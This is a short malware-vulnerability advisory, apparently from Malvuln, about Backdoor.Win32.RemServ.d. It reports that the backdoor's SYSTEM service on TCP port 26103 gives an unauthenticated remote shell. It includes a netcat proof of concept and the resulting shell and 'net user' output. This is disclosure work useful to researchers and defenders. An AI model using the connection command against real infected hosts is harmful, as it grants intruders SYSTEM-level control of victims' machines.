Backdoor.Win32.RemServ.d MVID-2022-0655 Remote Command Execution

Backdoor.Win32.RemServ.d malware suffers from a remote command execution vulnerability.

SHA-256 | b0430cb5e5e617e50b9038ab9865a9bd2f7b70fa286736b9fd7fbec68609f4eb

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.RemServ.d
Vulnerability: Unauthenticated Remote Command Execution
Family: RemServ
Type: PE32
MD5: 05a082d441d9cf365749c0e1eb904c85
Vuln ID: MVID-2022-0655
Disclosure: 11/11/2022
Description: The malware creates a service "RSMSS" that runs as SYSTEM and listens on TCP port 26103. Remote attackers who can connect to an infected host will get back a shell as "nt authority\system".

C:\>nc64.exe x.x.x.x 26103
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

nt authority\system

C:\>net user
net user

User accounts for \\

Administrator DefaultAccount Guest
Victim WDAGUtilityAccount
The command completed with one or more errors.

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